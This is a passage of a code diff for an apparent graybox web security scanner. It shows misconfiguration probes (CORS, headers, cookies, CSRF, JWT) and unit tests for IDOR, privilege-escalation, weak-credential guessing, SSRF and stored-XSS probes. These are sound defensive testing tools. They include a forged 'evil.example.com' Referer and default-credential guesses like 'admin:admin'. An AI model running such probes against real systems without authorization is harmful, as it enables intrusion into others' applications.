f"allow_credentials={acac}", + ], + remediation="Validate the Origin header against an allowlist. Do not reflect arbitrary origins.", + )) + else: + self.findings.append(GrayboxFinding( + scenario_id="PT-A02-02", + title="CORS configuration — no misconfiguration detected", + status="not_vulnerable", + severity="INFO", + owasp="A02:2021", + evidence=[f"access_control_allow_origin={acao or 'absent'}"], + )) + + def _test_security_headers(self): + """PT-A02-03: check for missing security headers.""" + session = self.auth.anon_session or self.auth.official_session + if not session: + return + + self.safety.throttle() + try: + resp = session.get(self.target_url + "/", timeout=10) + except Exception: + return + + headers = resp.headers + missing = [] + checked = [ + "X-Frame-Options", + "X-Content-Type-Options", + "Strict-Transport-Security", + "Content-Security-Policy", + "X-XSS-Protection", + ] + for h in checked: + if h.lower() not in {k.lower(): k for k in headers}: + missing.append(h) + + if missing: + self.findings.append(GrayboxFinding( + scenario_id="PT-A02-03", + title="Missing security headers", + status="vulnerable", + severity="LOW", + owasp="A02:2021", + cwe=["CWE-693"], + evidence=[f"missing_headers={', '.join(missing)}"], + remediation="Add security headers: " + ", ".join(missing), + )) + else: + self.findings.append(GrayboxFinding( + scenario_id="PT-A02-03", + title="Security headers — all present", + status="not_vulnerable", + severity="INFO", + owasp="A02:2021", + evidence=[f"headers_checked={len(checked)}"], + )) + + def _test_cookie_attributes(self): + """PT-A02-04: check session cookie security attributes.""" + if not self.auth.official_session: + return + + cookies = self.auth.official_session.cookies + issues = [] + for cookie in cookies: + if not cookie.secure: + issues.append(f"{cookie.name}:missing_Secure") + if not cookie.has_nonstandard_attr("HttpOnly"): + issues.append(f"{cookie.name}:missing_HttpOnly") + samesite = cookie.get_nonstandard_attr("SameSite") + if not samesite or samesite.lower() == "none": + issues.append(f"{cookie.name}:weak_SameSite={samesite or 'absent'}") + + if issues: + self.findings.append(GrayboxFinding( + scenario_id="PT-A02-04", + title="Insecure cookie attributes", + status="vulnerable", + severity="LOW", + owasp="A02:2021", + cwe=["CWE-614"], + evidence=issues, + remediation="Set Secure, HttpOnly, and SameSite=Strict on all session cookies.", + )) + else: + self.findings.append(GrayboxFinding( + scenario_id="PT-A02-04", + title="Cookie attributes — all secure", + status="not_vulnerable", + severity="INFO", + owasp="A02:2021", + evidence=["all_cookies_have_secure_attributes"], + )) + + def _test_csrf_bypass(self): + """ + PT-A02-05: test if CSRF protection is enforced on state-changing endpoints. + + Submit POST without CSRF token to state-changing endpoints. + If the server accepts → CSRF bypass detected. + """ + if not self.auth.official_session: + return + + csrf_test_endpoints = [] + for ep in self.target_config.business_logic.workflow_endpoints: + csrf_test_endpoints.append(ep.path) + for form in self.discovered_forms: + if form == self.target_config.login_path: + continue + csrf_test_endpoints.append(form) + + if not csrf_test_endpoints: + return + + tested = 0 + vulnerable_endpoints = [] + for path in csrf_test_endpoints[:5]: + self.safety.throttle() + url = self.target_url + path + try: + resp = self.auth.official_session.post( + url, data={"test": "csrf_probe"}, timeout=10, + headers={"Referer": "http://evil.example.com"}, + ) + except Exception: + continue + tested += 1 + body_lower = resp.text.lower() + csrf_rejected = any(m in body_lower for m in [ + "csrf", "forbidden", "token", "invalid request", + ]) or resp.status_code == 403 + if not csrf_rejected and resp.status_code < 400: + vulnerable_endpoints.append(path) + + if vulnerable_endpoints: + self.findings.append(GrayboxFinding( + scenario_id="PT-A02-05", + title="CSRF protection bypass", + status="vulnerable", + severity="HIGH", + owasp="A02:2021", + cwe=["CWE-352"], + attack=["T1185"], + evidence=[ + f"endpoints_without_csrf={', '.join(vulnerable_endpoints)}", + f"endpoints_tested={tested}", + ], + replay_steps=[ + "Log in as authenticated user.", + f"POST to {vulnerable_endpoints[0]} without CSRF token.", + "Observe request accepted despite missing CSRF protection.", + ], + remediation="Enforce CSRF tokens on all state-changing endpoints. " + "Use SameSite=Strict cookies as defense-in-depth.", + )) + elif tested > 0: + self.findings.append(GrayboxFinding( + scenario_id="PT-A02-05", + title="CSRF protection — no bypass detected", + status="not_vulnerable", + severity="INFO", + owasp="A02:2021", + evidence=[f"endpoints_tested={tested}"], + )) + + def _test_session_token(self): + """ + PT-A02-06: basic session token quality checks. + + Tests JWT alg=none, short session IDs. + """ + if not self.auth.official_session: + return + + import base64 + import json as _json + evidence = [] + status = "not_vulnerable" + + cookies = self.auth.official_session.cookies.get_dict() + for name, value in cookies.items(): + parts = value.split(".") + if len(parts) == 3: + try: + header_b64 = parts[0] + "=" * (4 - len(parts[0]) % 4) + header = _json.loads(base64.urlsafe_b64decode(header_b64)) + alg = header.get("alg", "") + if alg.lower() == "none": + evidence.append(f"jwt_alg_none=True; cookie={name}") + status = "vulnerable" + elif alg.upper().startswith("HS") and len(parts[2]) < 10: + evidence.append(f"jwt_weak_signature=True; cookie={name}") + if status == "not_vulnerable": + status = "inconclusive" + except Exception: + pass + + if len(value) < 16 and any(c.isalnum() for c in value): + evidence.append(f"short_session_token={name}; length={len(value)}") + if status == "not_vulnerable": + status = "inconclusive" + + severity = "HIGH" if status == "vulnerable" else ( + "LOW" if status == "inconclusive" else "INFO" + ) + self.findings.append(GrayboxFinding( + scenario_id="PT-A02-06", + title="Session token weakness detected" if status != "not_vulnerable" else "Session token quality", + status=status, + severity=severity, + owasp="A02:2021", + cwe=["CWE-331", "CWE-345"] if evidence else [], + evidence=evidence or ["all_tokens_appear_adequate"], + remediation="Use cryptographically random session IDs (128+ bits). " + "Never use alg=none in JWT. Validate JWT signatures server-side.", + )) diff --git a/extensions/business/cybersec/red_mesh/tests/test_probes_access.py b/extensions/business/cybersec/red_mesh/tests/test_probes_access.py new file mode 100644 index 00000000..1ce0d2f7 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_probes_access.py @@ -0,0 +1,210 @@ +"""Tests for AccessControlProbes.""" + +import unittest +from unittest.mock import MagicMock + +from extensions.business.cybersec.red_mesh.graybox.probes.access_control import AccessControlProbes +from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxFinding +from extensions.business.cybersec.red_mesh.graybox.models.target_config import ( + GrayboxTargetConfig, AccessControlConfig, IdorEndpoint, AdminEndpoint, +) + + +def _mock_response(status=200, text="", content_type="application/json", json_data=None): + resp = MagicMock() + resp.status_code = status + resp.text = text + resp.headers = {"content-type": content_type} + resp.json.return_value = json_data or {} + return resp + + +def _make_probe(idor_endpoints=None, admin_endpoints=None, + regular_username="alice", discovered_routes=None, + regular_session=None, allow_stateful=False): + cfg = GrayboxTargetConfig( + access_control=AccessControlConfig( + idor_endpoints=idor_endpoints or [], + admin_endpoints=admin_endpoints or [], + ), + ) + auth = MagicMock() + auth.regular_session = regular_session or MagicMock() + safety = MagicMock() + safety.throttle = MagicMock() + + probe = AccessControlProbes( + target_url="http://testapp.local:8000", + auth_manager=auth, + target_config=cfg, + safety=safety, + discovered_routes=discovered_routes or [], + regular_username=regular_username, + allow_stateful=allow_stateful, + ) + return probe + + +class TestIdorProbe(unittest.TestCase): + + def test_idor_confirmed(self): + """Owner mismatch → vulnerable/HIGH.""" + ep = IdorEndpoint(path="/api/records/{id}/", test_ids=[99], owner_field="owner") + probe = _make_probe(idor_endpoints=[ep]) + probe.auth.regular_session.get.return_value = _mock_response( + json_data={"owner": "bob", "data": "secret"}, + ) + probe.auth.regular_session.get.return_value.json.return_value = {"owner": "bob", "data": "secret"} + + findings = probe.run() + vuln = [f for f in findings if f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertEqual(vuln[0].scenario_id, "PT-A01-01") + self.assertEqual(vuln[0].severity, "HIGH") + self.assertIn("CWE-639", vuln[0].cwe) + + def test_idor_not_vulnerable(self): + """All owners match logged-in user → not_vulnerable/INFO.""" + ep = IdorEndpoint(path="/api/records/{id}/", test_ids=[1], owner_field="owner") + probe = _make_probe(idor_endpoints=[ep], regular_username="alice") + probe.auth.regular_session.get.return_value = _mock_response( + json_data={"owner": "alice"}, + ) + probe.auth.regular_session.get.return_value.json.return_value = {"owner": "alice"} + + findings = probe.run() + clean = [f for f in findings if f.status == "not_vulnerable"] + self.assertEqual(len(clean), 1) + self.assertEqual(clean[0].scenario_id, "PT-A01-01") + + def test_idor_one_finding_per_scenario(self): + """Multiple endpoints → exactly one finding.""" + eps = [ + IdorEndpoint(path="/api/records/{id}/", test_ids=[1, 2], owner_field="owner"), + IdorEndpoint(path="/api/users/{id}/", test_ids=[1], owner_field="owner"), + ] + probe = _make_probe(idor_endpoints=eps) + probe.auth.regular_session.get.return_value = _mock_response( + json_data={"owner": "bob"}, + ) + probe.auth.regular_session.get.return_value.json.return_value = {"owner": "bob"} + + findings = probe.run() + a01_findings = [f for f in findings if f.scenario_id == "PT-A01-01"] + self.assertEqual(len(a01_findings), 1) + + def test_idor_no_regular_username(self): + """Returns without findings when regular_username is empty.""" + ep = IdorEndpoint(path="/api/records/{id}/", test_ids=[1]) + probe = _make_probe(idor_endpoints=[ep], regular_username="") + findings = probe.run() + # No PT-A01-01 findings at all (no vulnerable, no not_vulnerable) + a01 = [f for f in findings if f.scenario_id == "PT-A01-01"] + self.assertEqual(len(a01), 0) + + def test_idor_inference(self): + """/api/records/1/ inferred from discovered routes.""" + probe = _make_probe( + discovered_routes=["/api/records/1/", "/api/records/2/", "/about/"], + ) + probe.auth.regular_session.get.return_value = _mock_response( + json_data={"owner": "bob"}, + ) + probe.auth.regular_session.get.return_value.json.return_value = {"owner": "bob"} + + findings = probe.run() + a01 = [f for f in findings if f.scenario_id == "PT-A01-01"] + self.assertEqual(len(a01), 1) + self.assertEqual(a01[0].status, "vulnerable") + + def test_idor_no_endpoints(self): + """No endpoints and no discoverable routes → no findings, no error.""" + probe = _make_probe(idor_endpoints=[], discovered_routes=[]) + findings = probe.run() + a01 = [f for f in findings if f.scenario_id == "PT-A01-01"] + self.assertEqual(len(a01), 0) + + +class TestPrivilegeEscProbe(unittest.TestCase): + + def test_privilege_esc_confirmed(self): + """Admin endpoint + content markers → vulnerable/HIGH.""" + ep = AdminEndpoint( + path="/api/admin/users/", + method="GET", + content_markers=["email", "role"], + ) + probe = _make_probe(admin_endpoints=[ep]) + probe.auth.regular_session.get.return_value = _mock_response( + status=200, + text='{"email": "admin@x.com", "role": "superuser"}', + content_type="text/html", + ) + + findings = probe.run() + vuln = [f for f in findings if f.scenario_id == "PT-A01-02" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertEqual(vuln[0].severity, "HIGH") + + def test_privilege_esc_inconclusive(self): + """200 but no content markers → inconclusive/LOW.""" + ep = AdminEndpoint( + path="/api/admin/users/", + method="GET", + content_markers=["secret_data"], + ) + probe = _make_probe(admin_endpoints=[ep]) + probe.auth.regular_session.get.return_value = _mock_response( + status=200, + text="Welcome", + content_type="text/html", + ) + + findings = probe.run() + inc = [f for f in findings if f.scenario_id == "PT-A01-02" and f.status == "inconclusive"] + self.assertEqual(len(inc), 1) + self.assertEqual(inc[0].severity, "LOW") + + def test_privilege_esc_denial_body(self): + """200 + 'access denied' in body → skip (no finding).""" + ep = AdminEndpoint( + path="/api/admin/users/", + method="GET", + content_markers=["email"], + ) + probe = _make_probe(admin_endpoints=[ep]) + probe.auth.regular_session.get.return_value = _mock_response( + status=200, + text="Access Denied. You are not authorized.", + content_type="text/html", + ) + + findings = probe.run() + a02 = [f for f in findings if f.scenario_id == "PT-A01-02"] + self.assertEqual(len(a02), 0) + + +class TestCapabilityDeclarations(unittest.TestCase): + + def test_capabilities(self): + """AccessControlProbes declares correct capabilities.""" + self.assertTrue(AccessControlProbes.requires_auth) + self.assertTrue(AccessControlProbes.requires_regular_session) + self.assertFalse(AccessControlProbes.is_stateful) + + def test_all_findings_are_graybox(self): + """All emitted findings are GrayboxFinding instances.""" + ep = IdorEndpoint(path="/api/records/{id}/", test_ids=[1]) + probe = _make_probe(idor_endpoints=[ep]) + probe.auth.regular_session.get.return_value = _mock_response( + json_data={"owner": "bob"}, + ) + probe.auth.regular_session.get.return_value.json.return_value = {"owner": "bob"} + + findings = probe.run() + for f in findings: + self.assertIsInstance(f, GrayboxFinding) + + +if __name__ == '__main__': + unittest.main() diff --git a/extensions/business/cybersec/red_mesh/tests/test_probes_business.py b/extensions/business/cybersec/red_mesh/tests/test_probes_business.py new file mode 100644 index 00000000..6e4f651e --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_probes_business.py @@ -0,0 +1,210 @@ +"""Tests for BusinessLogicProbes.""" + +import unittest +from unittest.mock import MagicMock, call + +from extensions.business.cybersec.red_mesh.graybox.probes.business_logic import BusinessLogicProbes +from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxFinding +from extensions.business.cybersec.red_mesh.graybox.models.target_config import ( + GrayboxTargetConfig, BusinessLogicConfig, WorkflowEndpoint, +) +from extensions.business.cybersec.red_mesh.constants import GRAYBOX_MAX_WEAK_ATTEMPTS + + +def _mock_response(status=200, text="", headers=None): + resp = MagicMock() + resp.status_code = status + resp.text = text + resp.headers = headers or {"content-type": "text/html"} + return resp + + +def _make_probe(workflow_endpoints=None, allow_stateful=False, + regular_session=None): + cfg = GrayboxTargetConfig( + business_logic=BusinessLogicConfig( + workflow_endpoints=workflow_endpoints or [], + ), + ) + auth = MagicMock() + auth.regular_session = regular_session or MagicMock() + auth.official_session = MagicMock() + auth.anon_session = MagicMock() + auth.target_url = "http://testapp.local:8000" + auth.target_config = cfg + safety = MagicMock() + safety.throttle = MagicMock() + safety.throttle_auth = MagicMock() + safety.clamp_attempts = MagicMock(side_effect=lambda x: min(x, GRAYBOX_MAX_WEAK_ATTEMPTS)) + + probe = BusinessLogicProbes( + target_url="http://testapp.local:8000", + auth_manager=auth, + target_config=cfg, + safety=safety, + allow_stateful=allow_stateful, + regular_username="alice", + ) + return probe + + +class TestStatefulGating(unittest.TestCase): + + def test_stateful_disabled(self): + """Returns inconclusive skip finding when stateful=False.""" + probe = _make_probe(allow_stateful=False) + findings = probe.run() + skip = [f for f in findings if f.scenario_id == "PT-A06-01" and f.status == "inconclusive"] + self.assertEqual(len(skip), 1) + self.assertIn("stateful_probes_disabled=True", skip[0].evidence) + + def test_stateful_enabled(self): + """Runs workflow probe when stateful=True.""" + ep = WorkflowEndpoint(path="/api/orders/1/force-pay/", method="POST", expected_guard="403") + probe = _make_probe( + workflow_endpoints=[ep], + allow_stateful=True, + ) + # Simulate a successful bypass: POST returns 200 instead of 403 + probe.auth.regular_session.post.return_value = _mock_response( + status=200, text="Payment processed", + ) + probe.auth.regular_session.get.return_value = _mock_response(status=200, text="OK") + + findings = probe.run() + vuln = [f for f in findings if f.scenario_id == "PT-A06-01" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertEqual(vuln[0].severity, "HIGH") + + +class TestWeakAuth(unittest.TestCase): + + def test_weak_auth_budget(self): + """Respects hard cap from safety.clamp_attempts.""" + probe = _make_probe() + # Request more than max — should be clamped + probe.safety.clamp_attempts.side_effect = None + probe.safety.clamp_attempts.return_value = 3 + + # Provide 5 candidates but budget is 3 + candidates = ["u1:p1", "u2:p2", "u3:p3", "u4:p4", "u5:p5"] + probe.auth.try_credentials.return_value = None + + # Mock the lockout check + check_session = MagicMock() + check_session.get.return_value = _mock_response(status=200, text="Login") + check_session.close = MagicMock() + probe.auth.make_anonymous_session.return_value = check_session + + probe.run_weak_auth(candidates, max_attempts=100) + # clamp_attempts was called with 100 + probe.safety.clamp_attempts.assert_called_with(100) + # try_credentials should be called at most 3 times + self.assertLessEqual(probe.auth.try_credentials.call_count, 3) + + def test_weak_auth_success(self): + """Weak cred found → vulnerable.""" + probe = _make_probe() + probe.safety.clamp_attempts.return_value = 10 + + mock_session = MagicMock() + mock_session.close = MagicMock() + + # First cred fails, second succeeds + probe.auth.try_credentials.side_effect = [None, mock_session] + + check_session = MagicMock() + check_session.get.return_value = _mock_response(status=200, text="Login page") + check_session.close = MagicMock() + probe.auth.make_anonymous_session.return_value = check_session + + findings = probe.run_weak_auth(["admin:wrong", "admin:admin"], max_attempts=10) + vuln = [f for f in findings if f.scenario_id == "PT-A07-01" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertEqual(vuln[0].severity, "HIGH") + self.assertIn("CWE-307", vuln[0].cwe) + + def test_weak_auth_lockout_429(self): + """429 response → abort + inconclusive.""" + probe = _make_probe() + probe.safety.clamp_attempts.return_value = 10 + + probe.auth.try_credentials.return_value = None + + check_session = MagicMock() + check_session.get.return_value = _mock_response(status=429, text="Rate limited") + check_session.close = MagicMock() + probe.auth.make_anonymous_session.return_value = check_session + + findings = probe.run_weak_auth(["admin:test"], max_attempts=10) + lockout = [f for f in findings if f.scenario_id == "PT-A07-01" and f.status == "inconclusive"] + self.assertEqual(len(lockout), 1) + self.assertIn("Account lockout detected", lockout[0].title) + + def test_weak_auth_lockout_body(self): + """'account locked' in body → abort.""" + probe = _make_probe() + probe.safety.clamp_attempts.return_value = 10 + + probe.auth.try_credentials.return_value = None + + check_session = MagicMock() + check_session.get.return_value = _mock_response( + status=200, text="Your account locked due to too many failed attempts", + ) + check_session.close = MagicMock() + probe.auth.make_anonymous_session.return_value = check_session + + findings = probe.run_weak_auth(["admin:test"], max_attempts=10) + lockout = [f for f in findings if f.scenario_id == "PT-A07-01" and f.status == "inconclusive"] + self.assertEqual(len(lockout), 1) + + def test_weak_auth_uses_public_api(self): + """Calls try_credentials, not _try_login.""" + probe = _make_probe() + probe.safety.clamp_attempts.return_value = 10 + probe.auth.try_credentials.return_value = None + + check_session = MagicMock() + check_session.get.return_value = _mock_response(status=200, text="Login") + check_session.close = MagicMock() + probe.auth.make_anonymous_session.return_value = check_session + + probe.run_weak_auth(["admin:pass"], max_attempts=5) + probe.auth.try_credentials.assert_called_once_with("admin", "pass") + + def test_weak_auth_empty_candidates(self): + """Empty candidate list → returns findings unchanged.""" + probe = _make_probe() + findings = probe.run_weak_auth([], max_attempts=10) + # No PT-A07-01 findings + a07 = [f for f in findings if f.scenario_id == "PT-A07-01"] + self.assertEqual(len(a07), 0) + + def test_weak_auth_skips_no_colon(self): + """Candidates without ':' separator are skipped.""" + probe = _make_probe() + probe.safety.clamp_attempts.return_value = 10 + + probe.run_weak_auth(["nocolon", "also_no_colon"], max_attempts=10) + probe.auth.try_credentials.assert_not_called() + + +class TestCapabilities(unittest.TestCase): + + def test_capabilities(self): + """BusinessLogicProbes declares correct capabilities.""" + self.assertTrue(BusinessLogicProbes.requires_auth) + self.assertTrue(BusinessLogicProbes.requires_regular_session) + self.assertTrue(BusinessLogicProbes.is_stateful) + + def test_all_findings_are_graybox(self): + """All findings are GrayboxFinding instances.""" + probe = _make_probe(allow_stateful=False) + findings = probe.run() + for f in findings: + self.assertIsInstance(f, GrayboxFinding) + + +if __name__ == '__main__': + unittest.main() diff --git a/extensions/business/cybersec/red_mesh/tests/test_probes_injection.py b/extensions/business/cybersec/red_mesh/tests/test_probes_injection.py new file mode 100644 index 00000000..9d3424e7 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_probes_injection.py @@ -0,0 +1,278 @@ +"""Tests for InjectionProbes.""" + +import unittest +from unittest.mock import MagicMock + +from extensions.business.cybersec.red_mesh.graybox.probes.injection import InjectionProbes +from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxFinding +from extensions.business.cybersec.red_mesh.graybox.models.target_config import ( + GrayboxTargetConfig, InjectionConfig, SsrfEndpoint, +) + + +def _mock_response(status=200, text="", headers=None, content_type="text/html"): + resp = MagicMock() + resp.status_code = status + resp.text = text + h = {"content-type": content_type} + if headers: + h.update(headers) + resp.headers = h + return resp + + +def _make_probe(ssrf_endpoints=None, discovered_forms=None, + official_session=None, allow_stateful=False, + login_path="/auth/login/", logout_path="/auth/logout/"): + cfg = GrayboxTargetConfig( + injection=InjectionConfig(ssrf_endpoints=ssrf_endpoints or []), + login_path=login_path, + logout_path=logout_path, + ) + auth = MagicMock() + auth.official_session = official_session or MagicMock() + auth.anon_session = MagicMock() + auth.detected_csrf_field = None + auth.extract_csrf_value = MagicMock(return_value=None) + safety = MagicMock() + safety.throttle = MagicMock() + + probe = InjectionProbes( + target_url="http://testapp.local:8000", + auth_manager=auth, + target_config=cfg, + safety=safety, + discovered_forms=discovered_forms or [], + allow_stateful=allow_stateful, + ) + return probe + + +class TestSsrfProbe(unittest.TestCase): + + def test_ssrf_reflected(self): + """Callback in response body → vulnerable.""" + ep = SsrfEndpoint(path="/api/fetch/", param="url") + probe = _make_probe(ssrf_endpoints=[ep]) + session = probe.auth.official_session + + # Baseline + baseline_resp = _mock_response(status=200, text="nothing") + # Probe: reflected SSRF + probe_resp = _mock_response( + status=200, text="fetched: http://127.0.0.1:1/internal-probe data", + ) + session.get.side_effect = [baseline_resp, probe_resp] + + probe._test_ssrf() + vuln = [f for f in probe.findings if f.scenario_id == "PT-API7-01" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertEqual(vuln[0].severity, "MEDIUM") + self.assertIn("CWE-918", vuln[0].cwe) + + def test_ssrf_no_hit(self): + """Normal response → no finding.""" + ep = SsrfEndpoint(path="/api/fetch/", param="url") + probe = _make_probe(ssrf_endpoints=[ep]) + session = probe.auth.official_session + + resp = _mock_response(status=200, text="safe content") + session.get.return_value = resp + + probe._test_ssrf() + api7 = [f for f in probe.findings if f.scenario_id == "PT-API7-01"] + self.assertEqual(len(api7), 0) + + +class TestLoginInjection(unittest.TestCase): + + def test_login_injection_no_reflection(self): + """No reflection → not_vulnerable.""" + probe = _make_probe() + anon = MagicMock() + anon.get.return_value = _mock_response( + text='
    ', + ) + anon.post.return_value = _mock_response(text="Invalid credentials") + anon.close = MagicMock() + probe.auth.make_anonymous_session.return_value = anon + probe.auth.detected_csrf_field = None + + probe._test_login_injection() + clean = [f for f in probe.findings if f.scenario_id == "PT-A05-01" and f.status == "not_vulnerable"] + self.assertEqual(len(clean), 1) + + +class TestAuthenticatedInjection(unittest.TestCase): + + def test_authenticated_injection(self): + """Payload reflected in form → finding.""" + probe = _make_probe(discovered_forms=["/search/"]) + session = probe.auth.official_session + # GET the form page → has text input + session.get.return_value = _mock_response( + text='
    ', + ) + # POST with payload → reflection + session.post.return_value = _mock_response( + text='Results for: ', + ) + + probe._test_authenticated_injection() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A03-01" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + + def test_authenticated_injection_no_forms(self): + """No forms → skip.""" + probe = _make_probe(discovered_forms=[]) + probe._test_authenticated_injection() + self.assertEqual(len(probe.findings), 0) + + def test_authenticated_injection_skips_login(self): + """Login form excluded from authenticated injection.""" + probe = _make_probe( + discovered_forms=["/auth/login/", "/search/"], + login_path="/auth/login/", + ) + session = probe.auth.official_session + # Only /search/ should be tested + session.get.return_value = _mock_response( + text='
    ', + ) + session.post.return_value = _mock_response(text="No reflection here") + + probe._test_authenticated_injection() + # Should have tested 1 form (not 2) + # Check that no vulnerable finding for login form + for f in probe.findings: + if f.status == "vulnerable": + for ev in f.evidence: + self.assertNotIn("/auth/login/", ev) + + +class TestStoredXss(unittest.TestCase): + + def test_stored_xss_detected(self): + """Canary reflected unescaped → vulnerable.""" + probe = _make_probe( + discovered_forms=["/comments/"], + allow_stateful=True, + ) + session = probe.auth.official_session + + # GET form page with text input + form_html = '
    ' + # On readback, the canary is reflected unescaped + call_count = [0] + + def mock_get(url, **kwargs): + call_count[0] += 1 + if call_count[0] == 1: + return _mock_response(text=form_html) + else: + # Readback — extract the canary from the POST + # We need to include both the canary and the full payload + return _mock_response( + text="
    XSS-CANARY-12345678
    ", + ) + + session.get.side_effect = mock_get + session.post.return_value = _mock_response(text="Saved") + + # Patch uuid to get predictable canary + import unittest.mock + with unittest.mock.patch("uuid.uuid4") as mock_uuid: + mock_uuid.return_value.hex = "12345678abcdef01" + probe._test_stored_xss() + + vuln = [f for f in probe.findings if f.scenario_id == "PT-A03-02" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertEqual(vuln[0].severity, "HIGH") + self.assertIn("CWE-79", vuln[0].cwe) + + def test_stored_xss_escaped(self): + """Canary HTML-encoded → not_vulnerable.""" + probe = _make_probe( + discovered_forms=["/comments/"], + allow_stateful=True, + ) + session = probe.auth.official_session + + form_html = '
    ' + call_count = [0] + + def mock_get(url, **kwargs): + call_count[0] += 1 + if call_count[0] == 1: + return _mock_response(text=form_html) + else: + return _mock_response(text="
    <img src=x>
    ") + + session.get.side_effect = mock_get + session.post.return_value = _mock_response(text="Saved") + + probe._test_stored_xss() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A03-02" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 0) + clean = [f for f in probe.findings if f.scenario_id == "PT-A03-02" and f.status == "not_vulnerable"] + self.assertEqual(len(clean), 1) + + def test_stored_xss_skips_login(self): + """Login/logout forms excluded.""" + probe = _make_probe( + discovered_forms=["/auth/login/", "/auth/logout/"], + allow_stateful=True, + login_path="/auth/login/", + logout_path="/auth/logout/", + ) + + probe._test_stored_xss() + # No forms tested → no findings + self.assertEqual(len(probe.findings), 0) + + def test_stored_xss_gated(self): + """Skipped when allow_stateful=False → emits inconclusive.""" + probe = _make_probe( + discovered_forms=["/comments/"], + allow_stateful=False, + ) + + # The gating is in run(), not _test_stored_xss directly + # We need to call run() and check it emits the skip finding + # Set up minimal mocks for other probes that run() calls + anon = MagicMock() + anon.get.return_value = _mock_response(text="no reflection") + anon.post.return_value = _mock_response(text="no reflection") + anon.close = MagicMock() + probe.auth.make_anonymous_session.return_value = anon + + findings = probe.run() + skip = [f for f in findings if f.scenario_id == "PT-A03-02" and f.status == "inconclusive"] + self.assertEqual(len(skip), 1) + self.assertIn("stateful_probes_disabled=True", skip[0].evidence) + + +class TestCapabilities(unittest.TestCase): + + def test_capabilities(self): + """InjectionProbes declares correct capabilities.""" + self.assertTrue(InjectionProbes.requires_auth) + self.assertFalse(InjectionProbes.requires_regular_session) + self.assertFalse(InjectionProbes.is_stateful) + + def test_all_findings_are_graybox(self): + """All findings are GrayboxFinding.""" + probe = _make_probe(discovered_forms=["/search/"]) + session = probe.auth.official_session + session.get.return_value = _mock_response( + text='
    ', + ) + session.post.return_value = _mock_response(text="safe") + + probe._test_authenticated_injection() + for f in probe.findings: + self.assertIsInstance(f, GrayboxFinding) + + +if __name__ == '__main__': + unittest.main() diff --git a/extensions/business/cybersec/red_mesh/tests/test_probes_misconfig.py b/extensions/business/cybersec/red_mesh/tests/test_probes_misconfig.py new file mode 100644 index 00000000..80d6aff0 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_probes_misconfig.py @@ -0,0 +1,241 @@ +"""Tests for MisconfigProbes.""" + +import base64 +import json +import unittest +from unittest.mock import MagicMock, PropertyMock +from http.cookiejar import Cookie + +from extensions.business.cybersec.red_mesh.graybox.probes.misconfig import MisconfigProbes +from extensions.business.cybersec.red_mesh.graybox.findings import GrayboxFinding +from extensions.business.cybersec.red_mesh.graybox.models.target_config import ( + GrayboxTargetConfig, MisconfigConfig, BusinessLogicConfig, WorkflowEndpoint, +) + + +def _mock_response(status=200, text="", headers=None, content_type="text/html"): + resp = MagicMock() + resp.status_code = status + resp.text = text + h = {"content-type": content_type} + if headers: + h.update(headers) + resp.headers = h + return resp + + +def _make_probe(debug_paths=None, workflow_endpoints=None, + official_session=None, anon_session=None, + discovered_forms=None, login_path="/auth/login/"): + misconfig = MisconfigConfig(debug_paths=debug_paths or ["/debug/"]) + business = BusinessLogicConfig( + workflow_endpoints=workflow_endpoints or [], + ) + cfg = GrayboxTargetConfig( + misconfig=misconfig, + business_logic=business, + login_path=login_path, + ) + auth = MagicMock() + auth.official_session = official_session + auth.anon_session = anon_session or MagicMock() + safety = MagicMock() + safety.throttle = MagicMock() + + probe = MisconfigProbes( + target_url="http://testapp.local:8000", + auth_manager=auth, + target_config=cfg, + safety=safety, + discovered_forms=discovered_forms or [], + ) + return probe + + +class TestDebugExposure(unittest.TestCase): + + def test_debug_exposure(self): + """Debug endpoint returns 200 with body → vulnerable.""" + probe = _make_probe(debug_paths=["/debug/config/"]) + session = probe.auth.anon_session + session.get.return_value = _mock_response( + status=200, text="DEBUG_MODE=True SECRET_KEY=xxx" + "x" * 50, + ) + + probe._test_debug_exposure() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A02-01" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + + def test_debug_not_found(self): + """Debug endpoint returns 404 → not_vulnerable.""" + probe = _make_probe(debug_paths=["/debug/config/"]) + session = probe.auth.anon_session + session.get.return_value = _mock_response(status=404, text="Not Found") + + probe._test_debug_exposure() + clean = [f for f in probe.findings if f.scenario_id == "PT-A02-01" and f.status == "not_vulnerable"] + self.assertEqual(len(clean), 1) + + +class TestCors(unittest.TestCase): + + def test_cors_wildcard(self): + """Access-Control-Allow-Origin: * → vulnerable.""" + probe = _make_probe() + session = probe.auth.anon_session + session.get.return_value = _mock_response( + headers={"Access-Control-Allow-Origin": "*"}, + ) + + probe._test_cors() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A02-02" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertEqual(vuln[0].severity, "MEDIUM") + + +class TestSecurityHeaders(unittest.TestCase): + + def test_security_headers_missing(self): + """Missing X-Frame-Options etc. → vulnerable.""" + probe = _make_probe() + session = probe.auth.anon_session + session.get.return_value = _mock_response(headers={}) + + probe._test_security_headers() + vuln = [f for f in probe.findings if f.scenario_id == "PT-A02-03" and f.status == "vulnerable"] + self.assertEqual(len(vuln), 1) + self.assertIn("X-Frame-Options", vuln[0].evidence[0]) + + +class TestCookieAttributes(unittest.TestCase): + + def _make_cookie(self, name="sessionid", secure=False, httponly=False, samesite=None): + cookie = MagicMock() + cookie.name = name + cookie.secure = secure + cookie.has_nonstandard_attr = MagicMock(return_value=httponly) + cookie.get_nonstandard_attr 